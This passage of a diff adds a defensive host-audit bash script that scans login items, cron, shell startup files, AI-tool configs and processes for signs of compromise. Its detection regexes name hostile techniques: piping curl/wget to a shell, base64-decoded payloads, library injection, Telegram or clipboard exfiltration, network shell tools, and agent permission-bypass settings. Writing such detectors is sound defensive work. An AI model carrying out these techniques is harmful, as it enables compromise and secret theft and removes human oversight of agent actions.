+			gsub(/&lt;/, "<", s); gsub(/&gt;/, ">", s); gsub(/&quot;/, "\"", s); gsub(/&apos;/, q, s); gsub(/&amp;/, "\\&", s)
+			if (lim == 0 || n < lim) print s
+			n++
+			if (!arr) want = 0
+			next
+		}
+		want && !arr && $0 !~ /^[[:space:]]*$/ { want = 0 }
+	'
+}
+
+audit_plist() {
+	local f="$1" xml label program args=() line userdir=0 a wa=0
+	xml="$(plist_xml "$f")"
+	case "$f" in "$HOME_DIR"/*) userdir=1 ;; esac
+
+	# A plist that cannot be parsed is reported, never skipped: a binary or
+	# damaged file in a launch directory is exactly where something hides.
+	if [[ "$xml" != *"<dict"* ]]; then
+		finding MEDIUM "plist:$(basename "$f" .plist):unparsable" "Login item could not be parsed" "$(tilde "$f")" "not readable as a plist (binary or damaged)" "Inspect it by hand: plutil -p, and strings if it is not XML."
+		return 0
+	fi
+
+	label="$(printf '%s\n' "$xml" | plist_values Label 1)"
+	[[ -n "$label" ]] || label="$(basename "$f" .plist)"
+
+	# Apple's labels belong in system directories. The same label in a user
+	# LaunchAgents folder is impersonation.
+	if [[ "$userdir" == 1 && "$label" == com.apple.* ]]; then
+		finding HIGH "launchagent:$label:impersonation" "An Apple label is planted in your own launch directory" "$(tilde "$f")" "Label $label in a user directory" "Apple does not install user agents here. Preserve the file and unload it."
+	fi
+
+	if printf '%s\n' "$xml" | grep -aqE '(DYLD_INSERT_LIBRARIES|LD_PRELOAD)'; then
+		finding HIGH "launchagent:$label:inject" "A login item injects a library into every launch" "$(tilde "$f")" "EnvironmentVariables sets DYLD_INSERT_LIBRARIES or LD_PRELOAD" "Remove it. Legitimate software does not inject a library at login."
+	fi
+
+	while IFS= read -r line; do
+		[[ -n "$line" ]] && args+=("$line")
+	done <<<"$(printf '%s\n' "$xml" | plist_values ProgramArguments)"
+	program="$(printf '%s\n' "$xml" | plist_values Program 1)"
+	if [[ -z "$program" && ${#args[@]} -gt 0 ]]; then
+		program="${args[0]}"
+		args=("${args[@]:1}")
+	fi
+	[[ -n "$program" ]] || return 0
+
+	# Repeating or event-triggered jobs that run a script from the user's own
+	# files are a persistence pattern: unloading them once does not stop them.
+	if printf '%s\n' "$xml" | grep -qE '<key>(StartInterval|StartCalendarInterval|WatchPaths)</key>'; then
+		for a in "$program" "${args[@]}"; do
+			[[ "$a" == /* ]] || continue
+			staging_zone "$a" && wa=1
+			case "$a" in "$HOME_DIR"/*) wa=1 ;; esac
+		done
+		if [[ "$wa" == 1 ]]; then
+			finding MEDIUM "launchagent:$label:trigger" "A periodic job runs a script from your own files" "$(tilde "$f")" "StartInterval or WatchPaths runs $(tilde "$program")" "Confirm you installed it. Check the script before you unload the job."
+		fi
+	fi
+
+	if [[ ${#args[@]} -gt 0 ]]; then
+		assess_entry "launchagent:$label" "$f" "$label" "$program" "${args[@]}"
+	else
+		assess_entry "launchagent:$label" "$f" "$label" "$program"
+	fi
+}
+
+# audit_payload_dirs — capture-tool folders in Application Support that no
+# LaunchAgent points at. A folder named for a capture tool, holding a script
+# beside its own .log/.pid, is staged for something even before it runs.
+audit_payload_dirs() {
+	local base="$HOME_DIR/Library/Application Support" d name f flist=""
+	local has_script=0 has_artifact=0
+	[[ -d "$base" ]] || return 0
+	for d in "$base"/*/; do
+		[[ -d "$d" ]] || continue
+		name="$(basename "$d")"
+		has "$name" "$RE_CAPTURE_DIR_NAME" || continue
+		has_script=0 has_artifact=0 flist=""
+		for f in "$d"*.js "$d"*.mjs "$d"*.cjs "$d"*.sh "$d"*.py "$d"*.rb "$d"*.pl; do
+			[[ -f "$f" ]] || continue
+			has_script=1
+			flist="${flist}${flist:+, }$(basename "$f")"
+		done
+		for f in "$d"*.log "$d"*.pid; do
+			[[ -f "$f" ]] || continue
+			has_artifact=1
+			flist="${flist}${flist:+, }$(basename "$f")"
+		done
+		if [[ "$has_script" == 1 && "$has_artifact" == 1 ]]; then
+			finding MEDIUM "payloaddir:$(cksum_id "$d")" "A capture-tool folder holds a script and its runtime files" "$(tilde "$d")" "contains $flist" "Read the script. If you did not install it, preserve the folder as evidence and remove it, then rotate anything it could have collected."
+		fi
+	done
+}
+
+audit_launchd() {
+	local d f dirs
+	local dir_list=()
+	if [[ -n "${AIC_HOST_LAUNCH_DIRS:-}" ]]; then
+		dirs="$AIC_HOST_LAUNCH_DIRS"
+	else
+		dirs="$HOME_DIR/Library/LaunchAgents:/Library/LaunchAgents:/Library/LaunchDaemons"
+	fi
+	IFS=: read -r -a dir_list <<<"$dirs"
+	for d in "${dir_list[@]}"; do
+		[[ -d "$d" ]] || continue
+		for f in "$d"/*.plist; do
+			[[ -f "$f" ]] && audit_plist "$f"
+		done
+	done
+}
+
+# unit_command <file> <key-regex> — the command line a unit or autostart file runs.
+unit_command() {
+	awk -v re="$2" '$0 ~ re { sub(/^[^=]*=[-@+!]*/, ""); print; exit }' "$1"
+}
+
+audit_linux_units() {
+	local f line prog
+	for f in "$HOME_DIR"/.config/systemd/user/*.service; do
+		[[ -f "$f" ]] || continue
+		line="$(unit_command "$f" '^ExecStart=')"
+		[[ -n "$line" ]] || continue
+		# shellcheck disable=SC2086 # word splitting is the point: the unit line is a command line.
+		set -- $line
+		prog="$1"
+		shift
+		assess_entry "systemd:$(basename "$f")" "$f" "$(basename "$f" .service)" "$prog" "$@"
+	done
+	for f in "$HOME_DIR"/.config/autostart/*.desktop; do
+		[[ -f "$f" ]] || continue
+		line="$(unit_command "$f" '^Exec=')"
+		[[ -n "$line" ]] || continue
+		# shellcheck disable=SC2086
+		set -- $line
+		prog="$1"
+		shift
+		assess_entry "autostart:$(basename "$f")" "$f" "$(basename "$f" .desktop)" "$prog" "$@"
+	done
+}
+
+audit_cron() {
+	local tab line
+	if [[ -n "${AIC_HOST_CRONTAB_FILE:-}" ]]; then
+		tab="$(cat "$AIC_HOST_CRONTAB_FILE" 2>/dev/null)"
+	else
+		tab="$(crontab -l 2>/dev/null)"
+	fi
+	while IFS= read -r line; do
+		case "$line" in '' | '#'*) continue ;; esac
+		if has "$line" '(curl|wget)[^|]*\|[[:space:]]*(ba|z)?sh'; then
+			finding HIGH "cron:$(cksum_id "$line")" "Cron job pipes a remote script to a shell" "user crontab" "$(printf '%s' "$line" | redact)" "Remove the entry and find out who added it."
+		elif has "$line" '(Application Support|/tmp/|/var/tmp/|/private/tmp/|/[.][A-Za-z0-9_-]+/)'; then
+			finding MEDIUM "cron:$(cksum_id "$line")" "Cron job runs from a user-writable location" "user crontab" "$(printf '%s' "$line" | redact)" "Confirm you added it."
+		fi
+	done <<<"$tab"
+}
+
+# --- shell startup files ---------------------------------------------------------------
+
+# rc_rule <file> <display> <sev> <title> <regex> <next> — flag matching non-comment lines.
+# RC_EXEMPT (regex, lowercase) skips lines that only touch well-known toolchain directories.
+rc_rule() {
+	local n line
+	while IFS= read -r n; do
+		[[ -n "$n" ]] || continue
+		line="$(sed -n "${n}p" "$1")"
+		finding "$3" "rc:$2:$n" "$4" "$(tilde "$1"):$n" "$(printf '%s' "$line" | redact) (file changed $(mtime_date "$1"))" "$6"
+	done <<<"$(RE="$5" EX="${RC_EXEMPT:-}" awk 'BEGIN { re = tolower(ENVIRON["RE"]); ex = ENVIRON["EX"] } { l = $0; sub(/^[ \t]+/, "", l); if (l ~ /^#/) next; if (tolower($0) ~ re && (ex == "" || tolower($0) !~ ex)) print FNR }' "$1")"
+}
+
+# rc_rules <file> <display> — every startup-file indicator. High rules run first
+# because a finding is keyed by file:line: the first match on a line wins.
+rc_rules() {
+	local f="$1" disp="$2"
+	rc_rule "$f" "$disp" HIGH "Remote script piped to a shell in a startup file" '(curl|wget)[^|#]*[|][[:space:]]*(sudo[[:space:]]+)?(ba|z|k)?sh([[:space:]]|$)' "Remove it. Installers run once; they do not belong in a file that runs on every shell start."
+	rc_rule "$f" "$disp" HIGH "Decoded payload run from a startup file" 'base64[[:space:]]+(-d|--decode)[^|#]*[|][[:space:]]*(ba|z)?sh' "Remove it and find out how it got there."
+	# shellcheck disable=SC2016 # the backtick is a regex character, not a substitution
+	rc_rule "$f" "$disp" HIGH "eval of a downloaded or decoded script" 'eval[[:space:]].*([$][(]|`)[^)`]*(curl|wget|base64|atob|decode)|eval[[:space:]]+["'"'"']?[$][(]?[[:space:]]*(curl|wget)' "Remove it and find out how it got there."
+	rc_rule "$f" "$disp" HIGH "Library injection through the environment" '(dyld_insert_libraries|ld_preload)=' "Remove it. Legitimate tools do not set this globally."
+	rc_rule "$f" "$disp" HIGH "TLS certificate checks disabled in a startup file" 'node_tls_reject_unauthorized[[:space:]]*=[[:space:]]*["'"'"']?0' "Remove it. Every TLS connection this shell makes becomes forgeable."
+	rc_rule "$f" "$disp" HIGH "Node run with a forced preload module" 'node_options=.*--require' "Remove it. This loads attacker code into every Node process you start."
+	rc_rule "$f" "$disp" HIGH "Clipboard or messaging exfiltration in a startup file" 'api[.]telegram[.]org|pbpaste[^#]*[|][^#]*(curl|nc|wget)' "Remove it, preserve the file, and rotate anything copied since it was added."
+	rc_rule "$f" "$disp" MEDIUM "sudo, su or ssh replaced by an alias or function" 'alias[[:space:]]+(sudo|su|ssh|scp|git|npm|npx|security)=|^[[:space:]]*(function[[:space:]]+)?(sudo|su|ssh)[[:space:]]*[(][)]' "This is how passwords and tokens get captured. Confirm you wrote it."
+	rc_rule "$f" "$disp" MEDIUM "Background launcher from a user-writable path" '(nohup|setsid|disown)[^#]*(application support|/tmp/|/var/tmp/|/private/tmp/|/var/folders/|/[.][[:alnum:]_-]+/)' "Confirm you wrote it."
+	rc_rule "$f" "$disp" MEDIUM "PATH is prefixed with a writable directory" 'path=.*(/tmp|/var/tmp|/private/tmp|/var/folders|application support|/users/shared|/downloads|/[.]cache)/' "Confirm you added it. A writable directory early on PATH lets its contents run as you."
+	RC_EXEMPT='/[.](cargo|deno|bun|rvm|nvm|pyenv|rbenv|sdkman|asdf|volta|fnm|ghcup|opam|orbstack|oh-my-zsh|local/bin|config/(fish|zsh|nvm))/' \
+		rc_rule "$f" "$disp" MEDIUM "A startup file loads a script from a writable or hidden directory" '(^|[^[:alnum:]_])(source|\.)[[:space:]]+[^#]*(([$]home|~)?/(tmp|var/tmp|private/tmp|var/folders|users/shared|downloads)/|application support|/[.][[:alnum:]_-]+/)' "Confirm you know this file. A sourced script runs with the same access you have."
+	rc_rule "$f" "$disp" MEDIUM "AppleScript run from a startup file" 'osascript[[:space:]]+-e' "Confirm you wrote it."
+	rc_rule "$f" "$disp" MEDIUM "AI-tool API base URL redirected in a startup file" '(anthropic|openai|gemini|openrouter|google)[a-z_]*(base_url|api_url|endpoint|host)[[:space:]]*=' "Model traffic and credentials go wherever this points. Confirm you set it."
+	rc_rule "$f" "$disp" MEDIUM "Shell traffic routed through a proxy in a startup file" '(http_proxy|https_proxy|all_proxy)[[:space:]]*=' "Confirm you set this proxy. It can read and rewrite everything the shell sends."
+	rc_rule "$f" "$disp" MEDIUM "An extra certificate authority is trusted in a startup file" '(node_extra_ca_certs|ssl_cert_file)[[:space:]]*=' "Confirm you added it. It lets that authority intercept your TLS traffic."
+}
+
+# audit_rc_file <file> <display> [depth] — rules, then one level of sourcing, then
+# a recent-change INFO only when nothing else was found in the file.
+audit_rc_file() {
+	local f="$1" disp="$2" depth="${3:-0}" s sf
+	rc_rules "$f" "$disp"
+
+	if [[ "$depth" == 0 ]]; then
+		while IFS= read -r s; do
+			[[ -n "$s" ]] || continue
+			# shellcheck disable=SC2016 # matching literal $HOME text found in the rc file
+			case "$s" in
+			'~'/*) sf="$HOME_DIR/${s#'~'/}" ;;
+			'$HOME'/*) sf="$HOME_DIR/${s#'$HOME'/}" ;;
+			'${HOME}'/*) sf="$HOME_DIR/${s#'${HOME}'/}" ;;
+			/*) sf="$s" ;;
+			*) sf="$(dirname "$f")/$s" ;;
+			esac
+			[[ -f "$sf" ]] || continue
+			case "$RC_SEEN" in *"|$sf|"*) continue ;; esac
+			RC_SEEN="${RC_SEEN}${sf}|"
+			audit_rc_file "$sf" "$disp -> $(basename "$sf")" 1
+		done <<<"$(sed -nE 's@^[[:space:]]*(source|\.)[[:space:]]+["'"'"']?([^"'"'"'[:space:];#]+).*@\2@p' "$f" 2>/dev/null)"
+	fi
+
+	case "$FINDINGS" in
+	*"$US""rc:$disp:"*) return 0 ;;
+	esac
+	if [[ "$(age_days "$f")" -le 30 ]]; then
+		finding INFO "rc:$disp:recent" "A startup file changed in the last 30 days" "$(tilde "$f")" "changed $(mtime_date "$f")" "Confirm you know why."
+	fi
+}
+
+audit_rc_files() {
+	local f fd disp
+	for f in "$HOME_DIR"/.zshrc "$HOME_DIR"/.zprofile "$HOME_DIR"/.zshenv "$HOME_DIR"/.zlogin "$HOME_DIR"/.bashrc "$HOME_DIR"/.bash_profile "$HOME_DIR"/.bash_login "$HOME_DIR"/.profile "$HOME_DIR"/.config/fish/config.fish; do
+		[[ -f "$f" ]] || continue
+		disp="${f#"$HOME_DIR"/}"
+		audit_rc_file "$f" "$disp"
+	done
+	for fd in "$HOME_DIR"/.config/fish/conf.d/*.fish; do
+		[[ -f "$fd" ]] || continue
+		audit_rc_file "$fd" "${fd#"$HOME_DIR"/}"
+	done
+}
+
+# --- AI-tool configuration -------------------------------------------------------------
+
+# value_after_key <line> <key-regex> — the value assigned to a JSON/TOML/INI key
+# on a line. Handles `"KEY": "v"`, `KEY = "v"` and `KEY=v`. The key regex must be
+# a single group; the value is its first capture after it (group 2 of the match).
+value_after_key() {
+	printf '%s' "$1" | sed -nE "s#.*$2[^:=]*[:=][[:space:]]*\"?([^\",'[:space:]}]*).*#\2#p"
+}
+
+# url_host <value> — host portion of a URL or host[:port], lowercased, brackets
+# removed so [::1] is seen the same as ::1.
+url_host() {
+	local h="$1"
+	[[ "$h" == *://* ]] && h="${h#*://}"
+	h="${h%%/*}"
+	h="${h##*@}"
+	case "$h" in
+	'['*']'*)
+		h="${h#\[}"
+		h="${h%%]*}"
+		;;
+	esac
+	case "$h" in
+	::1 | ::1:* | 0:0:0:0:0:0:0:1) printf '%s' "::1" ;;
+	*:*) printf '%s' "${h%%:*}" ;;
+	*) printf '%s' "$h" ;;
+	esac
+}
+
+# is_loopback_host <host> — every shape of "this machine" that a proxy can bind.
+is_loopback_host() {
+	local h
+	h="$(printf '%s' "$1" | tr '[:upper:]' '[:lower:]')"
+	case "$h" in
+	localhost | localhost.* | 127.* | 0.0.0.0 | ::1 | :: | host.docker.internal) return 0 ;;
+	esac
+	return 1
+}
+
+# is_vendor_host <host> — the API hosts a tool is allowed to talk to.
+is_vendor_host() {
+	local h
+	h="$(printf '%s' "$1" | tr '[:upper:]' '[:lower:]')"
+	case "$h" in
+	api.anthropic.com | api.openai.com | generativelanguage.googleapis.com | openrouter.ai) return 0 ;;
+	esac
+	return 1
+}
+
+# looks_like_host <value> — a URL, host:port or dotted name; not a bare word.
+looks_like_host() {
+	local v="$1"
+	[[ "$v" == *://* ]] && return 0
+	case "$v" in
+	localhost | localhost:* | host.docker.internal | host.docker.internal:* | 127.* | 0.0.0.0 | ::1 | *.* | *:*) return 0 ;;
+	esac
+	return 1
+}
+
+# listener_for_port <port> — who holds a local port, shown as the FULL command
+# line (`ps -o command=`), not the truncated process name.
+listener_for_port() {
+	command -v lsof >/dev/null 2>&1 || return 0
+	local pid cmd
+	pid="$(lsof -nP -iTCP:"$1" -sTCP:LISTEN -Fp 2>/dev/null | sed -n 's/^p//p' | head -n1)"
+	[[ -n "$pid" ]] || return 0
+	cmd="$(ps -o command= -p "$pid" 2>/dev/null | head -n1)"
+	[[ -n "$cmd" ]] || cmd="$(lsof -nP -iTCP:"$1" -sTCP:LISTEN 2>/dev/null | awk 'NR == 2 { print $1 }')"
+	[[ -n "$cmd" ]] || return 0
+	printf 'pid %s: %s' "$pid" "$(printf '%s' "$cmd" | redact)"
+}
+
+audit_agent_text() {
+	local f="$1" disp="$2" n line url host port who key label
+	# (a) Any base-URL-like key, in any case, pointing at loopback in any form,
+	# at a bare host:port, or at a remote host that is not a known vendor.
+	while IFS=: read -r n line; do
+		[[ -n "$n" ]] || continue
+		url="$(value_after_key "$line" "$RE_AGENT_URL_KEY")"
+		[[ -n "$url" ]] || continue
+		looks_like_host "$url" || continue
+		host="$(url_host "$url")"
+		if is_loopback_host "$host"; then
+			port="$(printf '%s' "$url" | sed -nE 's#.*:([0-9]{2,5})[/" }]?.*#\1#p')"
+			who=""
+			[[ -n "$port" ]] && who="$(listener_for_port "$port")"
+			finding HIGH "agent:$disp:base-url:$n" "Model traffic is routed through a local proxy" "$disp:$n" "$(printf '%s' "$url" | redact); listener: ${who:-none found}" "Find out what listens on that port and who installed it. It sees every prompt, file and key your tool sends."
+		elif ! is_vendor_host "$host"; then
+			finding MEDIUM "agent:$disp:base-url:$n" "Model traffic is sent to a non-official host" "$disp:$n" "$(printf '%s' "$url" | redact)" "Confirm you configured this gateway. It sees every prompt, file and key your tool sends."
+		fi
+	done <<<"$(grep -nEi "$RE_AGENT_URL_KEY" "$f" 2>/dev/null)"
+
+	# (c) Permission bypass, in the forms JSON and TOML configs use.
+	if grep -Eiq '"defaultMode"[[:space:]]*:[[:space:]]*"bypassPermissions"|dangerously-skip-permissions|skipDangerousModePermissionPrompt"?[[:space:]]*:[[:space:]]*true|approval_policy[[:space:]]*=[[:space:]]*"?never"?|sandbox_mode[[:space:]]*=[[:space:]]*"?danger-full-access"?' "$f" 2>/dev/null; then
+		finding HIGH "agent:$disp:bypass" "Permission prompts are switched off by default" "$disp" "bypassPermissions, approval_policy=never, or sandbox_mode=danger-full-access is set" "Remove it. Every tool call then runs without asking, including anything a poisoned file tells the agent to do."
+	fi
+	if grep -Eiq 'enableAllProjectMcpServers"?[[:space:]]*:[[:space:]]*true' "$f" 2>/dev/null; then
+		finding MEDIUM "agent:$disp:mcp-all" "Every project can turn on its own MCP servers" "$disp" "enableAllProjectMcpServers is true" "Approve MCP servers per project instead."
+	fi
+	if grep -Eiq '"apiKeyHelper"[[:space:]]*:' "$f" 2>/dev/null; then
+		finding MEDIUM "agent:$disp:key-helper" "A command runs whenever the tool needs a key" "$disp" "apiKeyHelper is set" "Confirm you configured it and read the command."
+	fi
+
+	# (d) A named key env var set to a literal, then a shape-only sweep so a
+	# secret is reported wherever it is written. Values are never printed.
+	while IFS=: read -r n line; do
+		key="$(printf '%s' "$line" | sed -nE 's#.*"?((ANTHROPIC|OPENAI|OPENROUTER|GEMINI|GOOGLE)[A-Z_]*(API_KEY|AUTH_TOKEN))"?[[:space:]]*[:=].*#\1#p')"
+		[[ -n "$key" ]] || continue
+		finding MEDIUM "agent:$disp:key:$key" "API key stored in plain text" "$disp:$n" "$key is set to a literal value (not shown)" "Move it to a secret manager and rotate it: any process running as you can read this file."
+	done <<<"$(grep -nEi '"?(ANTHROPIC|OPENAI|OPENROUTER|GEMINI|GOOGLE)[A-Z_]*(API_KEY|AUTH_TOKEN)"?[[:space:]]*[:=][[:space:]]*"[^"$]{12,}"' "$f" 2>/dev/null)"
+	while IFS=: read -r n line; do
+		[[ -n "$n" ]] || continue
+		label=""
+		case "$line" in
+		*sk-ant-*) label="an Anthropic key" ;;
+		*ghp_* | *github_pat_*) label="a GitHub token" ;;
+		*AKIA*) label="an AWS access key" ;;
+		*xoxb-* | *xoxp-*) label="a Slack token" ;;
+		*)
+			if has "$line" '[0-9]{8,10}:[A-Za-z0-9_-]{35}'; then label="a Telegram bot token"; elif has "$line" 'sk-[A-Za-z0-9]{20,}'; then label="an API key"; fi
+			;;
+		esac
+		[[ -n "$label" ]] || continue
+		finding MEDIUM "agent:$disp:secret:$n" "A secret is stored in plain text" "$disp:$n" "$label (value not shown)" "Move it to a secret manager and rotate it: any process running as you can read this file."
+	done <<<"$(grep -nE "$RE_SECRET_SHAPE" "$f" 2>/dev/null)"
+}
+
+# hook_dangerous_path <command> — true when a hook runs code from a place a
+# normal tool does not: node_modules, temp, caches, or your own dot-directories.
+hook_dangerous_path() {
+	local cmd="$1"
+	if printf '%s' "$cmd" | grep -Eq "$RE_HOOK_BAD_PATH"; then
+		return 0
+	fi
+	if printf '%s' "$cmd" | grep -Eq '/\.[[:alnum:]_-]+/' &&
+		! has "$cmd" '/\.(claude|codex|cursor|gemini|config)/'; then
+		return 0
+	fi
+	case "$cmd" in
+	*"$HOME_DIR"/*)
+		case "$cmd" in
+		*"/.claude/"* | *"/.codex/"* | *"/.cursor/"* | *"/.gemini/"*) ;;
+		*) return 0 ;;
+		esac
+		;;
+	esac
+	return 1
+}
+
+audit_agent_json() {
+	local f="$1" disp="$2" scope="$3" rows cmd events sev title next cmdline name mtype murl
+	if ! command -v jq >/dev/null 2>&1; then
+		if [[ "$JQ_NOTED" == 0 ]]; then
+			JQ_NOTED=1
+			finding MEDIUM "agent:jq-missing" "Agent hooks and MCP servers were not inspected" "$disp" "jq was not found on PATH" "Install jq and run again. The audit stays open rather than reporting a check it could not perform."
+		fi
+		return 0
+	fi
+
+	rows="$(jq -r '(.hooks // {}) | to_entries[] | .key as $e | (.value // [])[] | (.hooks // [])[] | select(.type == "command") | "\($e)\t\(.command)"' "$f" 2>/dev/null |
+		awk -F'\t' '{ c = $2; for (i = 3; i <= NF; i++) c = c "\t" $i; if (!(c in ev)) order[++n] = c; ev[c] = ev[c] (ev[c] == "" ? "" : ",") $1 } END { for (i = 1; i <= n; i++) print order[i] "\t" ev[order[i]] }')"
+	while IFS=$'\t' read -r cmd events; do
+		[[ -n "$cmd" ]] || continue
+		sev="" title="" next="Read the command and confirm you installed it."
+		# (b) A hook that runs code from a user-writable place is high: it is
+		# attacker-controlled code running on every matching event.
+		if hook_dangerous_path "$cmd"; then
+			sev=HIGH
+			title="Hook runs code from a user-writable location"
+			next="Preserve the command and the file it runs, then remove the hook. Confirm nothing it could have read or changed."
+		elif has "$cmd" 'api\.telegram|pbpaste|discord(app)?\.com/api/webhooks'; then
+			sev=HIGH
+			title="Hook reports to a remote service"
+		elif has "$cmd" '(^|[^[:alnum:]_])(curl|wget|nc|ncat|socat|base64|osascript|nohup)([^[:alnum:]_]|$)'; then
+			sev=MEDIUM
+			title="Hook runs a network or obfuscation primitive"
+		elif [[ "$scope" == user ]] && has "$events" 'UserPromptSubmit|PreToolUse|PostToolUse|SessionStart|PreCompact|Stop|Subagent|SessionEnd'; then
+			sev=MEDIUM
+			title="Global hook observes your prompts and tool calls"
+			has "$events" 'UserPromptSubmit|SessionStart' && next="It can also add text to what the model reads, in every project. $next"
+		elif [[ "$VERBOSE" == 1 ]]; then
+			sev=INFO
+			title="Project hook"
+		fi
+		[[ -n "$sev" ]] || continue
+		finding "$sev" "hook:$scope:$(cksum_id "$cmd")" "$title" "$disp" "on $events: $(printf '%s' "$cmd" | redact)" "$next"
+	done <<<"$rows"
+
+	while IFS=$'\037' read -r name mtype murl cmdline; do
+		[[ -n "$name" ]] || continue
+		if [[ -n "$murl" ]] && has "$murl" '^https?://|^wss?://'; then
+			finding MEDIUM "mcp:$disp:$name" "MCP server is a remote URL" "$disp ($name)" "type ${mtype:-unknown}: $(printf '%s' "$murl" | redact)" "Confirm who runs that service. Anything the tool sends, including file contents, reaches it."
+		elif has "$cmdline" '(curl|wget)[^|]*[|][[:space:]]*(ba|z)?sh'; then
+			finding HIGH "mcp:$disp:$name" "MCP server downloads and runs code" "$disp ($name)" "$(printf '%s' "$cmdline" | redact)" "Remove it."
+		elif has "$cmdline" '(^|[[:space:]/])(npx|bunx|uvx|pnpm[[:space:]]+dlx|npm[[:space:]]+exec|pipx[[:space:]]+run)([[:space:]]|$)' &&
+			! has "$cmdline" '@[0-9]+[.][0-9]+|==[0-9]|#[0-9a-f]{7,40}'; then
+			finding MEDIUM "mcp:$disp:$name" "MCP server runs unpinned code" "$disp ($name)" "$(printf '%s' "$cmdline" | redact)" "Pin an exact version or commit. Today's latest release, or the repository's HEAD, runs with your permissions."
+		fi
+	done <<<"$(jq -r '(.mcpServers // {}) | to_entries[] | "\(.key)\u001f\(.value.type // "")\u001f\(.value.url // "")\u001f\(.value.command // "") \((.value.args // []) | map(tostring) | join(" "))"' "$f" 2>/dev/null)"
+}
+
+# audit_agent_file <file> — one user-scope AI-tool config file.
+audit_agent_file() {
+	local f="$1" disp
+	[[ -f "$f" ]] || return 0
+	disp="$(tilde "$f")"
+	audit_agent_text "$f" "$disp"
+	audit_agent_json "$f" "$disp" user
+}
+
+audit_agent_config() {
+	local f d
+	local claude_dir="${CLAUDE_CONFIG_DIR:-$HOME_DIR/.claude}"
+	local codex_dir="${CODEX_HOME:-$HOME_DIR/.codex}"
+	local managed="${AIC_HOST_MANAGED_DIRS:-/Library/Application Support/ClaudeCode:/etc/claude-code}"
+	local md_dirs=()
+
+	for f in \
+		"$claude_dir/settings.json" "$claude_dir/settings.local.json" \
+		"$HOME_DIR/.claude.json" \
+		"$HOME_DIR/.gemini/settings.json" "$HOME_DIR/.gemini"/*.json \
+		"$HOME_DIR/.cursor/mcp.json" "$HOME_DIR/.cursor"/*.json \
+		"$HOME_DIR/.kilocode" "$HOME_DIR/.kilocode"/*.json \
+		"$HOME_DIR/.config/opencode/opencode.json" "$HOME_DIR/.config/opencode"/*.json \
+		"$codex_dir/config.toml" "$codex_dir/hooks.json"; do
+		audit_agent_file "$f"
+	done
+
+	# Managed (root-installed) settings, with a test seam for their directories.
+	IFS=: read -r -a md_dirs <<<"$managed"
+	for d in "${md_dirs[@]}"; do
+		[[ -d "$d" ]] || continue
+		for f in "$d"/*.json; do
+			audit_agent_file "$f"
+		done
+	done
+
+	if [[ "$PROJECT_DIR" != "$HOME_DIR" ]]; then
+		local disp
+		for f in "$PROJECT_DIR/.claude/settings.json" "$PROJECT_DIR/.claude/settings.local.json" "$PROJECT_DIR/.mcp.json"; do
+			[[ -f "$f" ]] || continue
+			disp="./${f#"$PROJECT_DIR"/}"
+			audit_agent_text "$f" "$disp"
+			audit_agent_json "$f" "$disp" project
+		done
+	fi
+}
+
+# --- running processes -----------------------------------------------------------------
+
+# proc_staging <path> — narrower than staging_zone: hidden home directories are where
+# version managers and dev tools live, so processes there are not flagged by place alone.
+proc_staging() {
+	case "$1" in
+	*"/Application Support/"* | */Library/Caches/* | */Downloads/* | /tmp/* | /var/tmp/* | /private/tmp/* | /var/folders/* | /private/var/folders/* | /Users/Shared/*) return 0 ;;
+	esac
+	return 1
+}
+
+proc_cwd() {
+	command -v lsof >/dev/null 2>&1 || return 0
+	lsof -a -p "$1" -d cwd -Fn 2>/dev/null | awk '/^n/ { print substr($0, 2); exit }'
+}
+
+audit_processes() {
+	local rows pid user cmd script path
+	if [[ -n "${AIC_HOST_PS_FILE:-}" ]]; then
+		rows="$(cat "$AIC_HOST_PS_FILE" 2>/dev/null)"
+	else
+		rows="$(ps -axo pid=,user=,command= 2>/dev/null)"
+	fi
+	while read -r pid user cmd; do
+		[[ -n "$cmd" ]] || continue
+		case "$cmd" in *host-audit.sh* | *"am-i-compromised host"*) continue ;; esac
+		is_interpreter "${cmd%% *}" || continue
+		script="$(printf '%s' "$cmd" | awk '{ for (i = 2; i <= NF; i++) if ($i !~ /^-/) { print $i; exit } }')"
+		[[ -n "$script" ]] || continue
+		path="$script"
+		if [[ "$script" != /* ]]; then
+			path="$(proc_cwd "$pid")"
+			[[ -n "$path" ]] && path="$path/$script"
+		fi
+		if has "$script" "$RE_CAPTURE_WORD" && has "$script" 'tg|telegram|discord|webhook|exfil|upload|send'; then
+			finding HIGH "proc:$(cksum_id "$cmd")" "Running process looks like a capture tool that reports out" "pid $pid ($user)" "$(printf '%s' "$cmd" | redact)" "Do not kill it yet if you need evidence: note its pid, working directory (lsof -p $pid) and open connections, then stop it."
+		elif [[ -n "$path" && "$path" != *"/node_modules/"* ]] && proc_staging "$path"; then
+			finding MEDIUM "proc:$(cksum_id "$cmd")" "Interpreter running a script from a user-writable location" "pid $pid ($user)" "$(printf '%s' "$cmd" | redact)" "Confirm you started it."
+		fi
+	done <<<"$rows"
+}
+
+# --- report ------------------------------------------------------------------------------------
+
+render() {
+	local sorted line sev id title where evidence next reason nh nm ni count color
+	nh=0 nm=0 ni=0
+	sorted="$(printf '%s' "$FINDINGS" | LC_ALL=C sort -r)"
+	while IFS="$US" read -r sev id title where evidence next; do
+		[[ -n "$sev" ]] || continue
+		case "$sev" in 3*) nh=$((nh + 1)) ;; 2*) nm=$((nm + 1)) ;; *) ni=$((ni + 1)) ;; esac
+	done <<<"$sorted"
+
+	if ((nh + nm > 0)); then
+		printf '\n%shost-audit: FAILED — %d high, %d medium%s%s\n' "$C_RED" "$nh" "$nm" "$([[ $ni -gt 0 ]] && printf ', %d informational' "$ni")" "$C_RESET"
+	fi
+	while IFS="$US" read -r sev id title where evidence next; do
+		[[ -n "$sev" ]] || continue
+		sev="${sev#?}"
+		[[ "$sev" == INFO && "$VERBOSE" != 1 ]] && continue
+		case "$sev" in HIGH) color="$C_RED" ;; MEDIUM) color="$C_YELLOW" ;; *) color="$C_DIM" ;; esac
+		printf '\n  %s%-6s%s %s%s%s\n' "$color" "$sev" "$C_RESET" "$C_BOLD" "$title" "$C_RESET"
+		printf '         id: %s\n' "$id"
+		printf '         %s\n' "$where"
+		# An empty evidence line would leave a bare indent under the arrow.
+		[[ -n "$evidence" ]] && printf '         %s\n' "$evidence"
+		printf '         %s→ %s%s\n' "$C_DIM" "$next" "$C_RESET"
+	done <<<"$sorted"
+
+	count="$(printf '%s' "$ALLOWED" | grep -c . || true)"
+	if [[ "${count:-0}" -gt 0 ]]; then
+		printf '\n%shost-audit: %d finding(s) allowed by %s%s\n' "$C_YELLOW" "$count" "$(tilde "$ALLOW_FILE")" "$C_RESET"
+		while IFS="$US" read -r sev id title where evidence next reason; do
+			[[ -n "$sev" ]] || continue
